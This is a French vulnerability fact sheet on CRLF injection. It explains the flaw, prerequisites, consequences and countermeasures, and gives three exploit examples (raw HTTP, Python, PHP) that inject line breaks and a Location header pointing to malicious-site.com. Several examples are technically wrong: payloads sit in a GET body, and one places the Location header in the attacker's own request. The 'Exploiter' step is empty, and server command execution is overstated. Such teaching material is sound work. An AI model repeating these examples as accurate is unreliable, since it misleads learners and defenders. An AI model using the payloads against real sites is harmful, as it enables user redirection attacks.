CRLF

Description

Les vulnérabilités CRLF (Carriage Return Line Feed) sont des failles de sécurité qui peuvent être exploitées pour injecter du code malveillant dans les sites Web ou les applications Web. Elles sont causées par l'absence de filtrage adéquat des caractères de retour chariot (CR) et de saut de ligne (LF) dans les entrées de données.

Cela signifie que le site ou l'application ne vérifie pas les données d'entrée pour s'assurer qu'elles ne contiennent pas de codes qui pourraient être utilisés à mauvais escient.

Les codes de retour de chariot et de saut de ligne sont des caractères spéciaux qui sont utilisés dans les fichiers de texte pour indiquer à l'ordinateur où se terminent les lignes et où il doit passer à la ligne suivante. Si un attaquant parvient à injecter ces codes dans un champ de saisie de données, il peut alors contrôler comment le site ou l'application traite ces données et peut en abuser pour effectuer diverses actions.

Prérequis d'exploitation

Pour exploiter cette famille de vulnérabilité, il est nécessaire d’avoir accès à une application n'effectuant pas de filtrage adéquat des caractères de retour chariot (CR) et de saut de ligne (LF) dans les entrées de données. Cela signifie que l'application accepte ces caractères sans les valider ou les échapper.

Connaissances nécessaires

- Connaissance de base du protocole HTTP ;
- Compréhension de la notion de retour chariot (CR) et du saut de ligne (LF) dans une requête HTTP.

Outils nécessaires

- Utilisation d’outils de type **Burp Suite** ou **curl** pour la création/modification de requêtes HTTP.

Flux d'exécution

Explorer

Naviguer sur l’application afin d’identifier les différents champs de saisie pouvant être utilisés pour injecter des données non filtrées.

Expérimenter

Analyser les différentes réponses du serveur en fonction des différentes valeurs saisies. L’objectif ici est de tenter de déceler un comportement particulier du serveur suite à l'envoi de requêtes mal formées.

Exploiter

Conséquences potentielles

Une exploitation réussie de ce type de vulnérabilité peut permettre :

- L'injection de code malveillant sur l'application ;
- La redirection des utilisateurs sur des sites externes ;
- L'exécution de commandes choisies par le client directement sur le serveur ;
- L’accès à des fonctionnalités sensibles.

Contres-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

- Filtrer les caractères CR et LF dans les entrées de données ;
- S'assurer que les en-têtes de requête HTTP sont correctement formatés et validés.

Comment cela fonctionne?

Les scénarii suivants peuvent être joués via l'exploitation de cette vulnérabilité :

- Redirection des visiteurs d'une application ;
- Accès à des ressources protégées.

Exemple 1

Voici un exemple d'exploitation d'une vulnérabilité CRLF dans laquelle un attaquant force la redirection d'un utilisateur vers un site Web externe (dont il a le contrôle) :

```
GET / HTTP/1.1
Host: vulnerable-site.com

%0d%0aLocation: http://malicious-site.com%0d%0a
```

Dans cet exemple, les caractères

```
%0d%0a
```

représentent les caractères CR et LF codés en hexadécimal. Lorsque l'application Web reçoit cette requête, elle interprète les caractères CR et LF comme des commandes et redirige l'utilisateur vers http://malicious-site.com.

Exemple 2

Exploitation de la vulnérabilité CRLF en Python :

```python
import requests

url = "http://vulnerable-site.com/search"

headers = {
    "Host": "vulnerable-site.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "43",
}

data = "query=test%0d%0aLocation:http://malicious-site.com"

response = requests.post(url, headers=headers, data=data)
```

Dans cet exemple, nous envoyons une requête POST à l'URL http://vulnerable-site.com/search avec des caractères CR et LF injectés dans le champ **query** de la requête. Si l'application Web n'est pas correctement configurée pour filtrer ces caractères, elle peut être exploitée pour rediriger l'utilisateur vers http://malicious-site.com.

Exemple 3

Exploitation de la vulnérabilité CRLF en PHP :

```php
<?php

$url = "http://vulnerable-site.com/search";

$headers = array(
    "Host: vulnerable-site.com",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
```

```
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 43",
    "Location: http://malicious-site.com"
);

$data = "query=test%0d%0a";

$options = array(
    "http" => array(
        "header"  => $headers,
        "method"  => "POST",
        "content" => $data,
    ),
);

$context  = stream_context_create($options);
$result = file_get_contents($url, false, $context);
```

Dans cet exemple, nous envoyons une requête POST à l'URL http://vulnerable-site.com/search avec des caractères CR et LF injectés dans le champ query de la requête via la variable PHP **data**. Si l'application Web n'est pas correctement configurée pour filtrer ces caractères, elle peut être exploitée pour rediriger l'utilisateur vers http://malicious-site.com.

References

URL :

- https://repository.root-me.org/Exploitation%20-%20Web/FR%20-%20Vuln%C3%A9rabilit%C3%A9%20CRLF.pdf
- https://fr.wikipedia.org/wiki/Carriage_Return_Line_Feed
- https://owasp.org/www-community/vulnerabilities/CRLF_Injection
- https://github.com/Nefcore/CRLFsuite
- https://github.com/dwisiswant0/crlfuzz

Retour fiches vulnérabilités

- Cyber fiches vulnérabilités